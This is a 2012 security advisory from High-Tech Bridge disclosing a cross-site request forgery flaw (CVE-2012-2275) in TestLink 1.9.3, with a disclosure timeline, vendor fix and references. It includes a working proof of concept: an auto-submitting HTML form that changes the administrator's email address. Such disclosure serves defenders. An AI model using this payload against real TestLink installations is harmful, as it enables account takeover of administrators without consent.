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Сross-Site Request Forgery (CSRF) in TestLink

Advisory ID:HTB23088
Product:TestLink
Vendor: TestLink
Vulnerable Versions:1.9.3 and probably prior
Tested Version:1.9.3
Advisory Publication:April 18, 2012 [without technical details]
Vendor Notification:April 18, 2012
Vendor Fix:September 2, 2012
Public Disclosure:September 5, 2012
Latest Update:May 30, 2012
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2012-2275
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab has discovered vulnerabiliy in TestLink, which can be exploited to perform Сross-Site Request Forgery (CSRF) attacks.

1) Сross-Site Request Forgery (CSRF) in TestLink: CVE-2012-2275
The application allows authorized users to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to change administrator's email.
An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.
The following PoC will change administrator's email:
<form action="http://[host]/lib/usermanagement/userInfo.php" method="post" name="main" id="main">
<input type="hidden" name="doAction" value="editUser">
<input type="hidden" name="lastName" value="LastName">
<input type="hidden" name="firstName" value="FirstName">
<input type="hidden" name="emailAddress" value="new@mail.com">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to TestLink 1.9.4

More Information:
http://gitorious.org/testlink-ga/testlink-code/commit/2d4ac941314f8bda80e265c9de8bacf17d1cd3e6
http://gitorious.org/testlink-ga/testlink-code/commit/c8751a3c9ad8970b49d1bf882203efacd10af087
http://gitorious.org/testlink-ga/testlink-code/commit/252788c2373e73173172ada9af661e0721599891

Third-party disclosed vulnerability details on August 13, 2012 without vendor's patch: http://itsecuritysolutions.org/2012-08-13-TestLink-1.9.3-multiple-vulnerabilities/


References:
[1] High-Tech Bridge Advisory HTB23088 - https://www.htbridge.com/advisory/HTB23088 - Сross-Site Request Forgery (CSRF) in TestLink.
[2] TestLink - http://www.teamst.org/ - An OpenSource test management tool which includes test specification, planning, reporting, requirements tracking and collaborate with well-known bug trackers.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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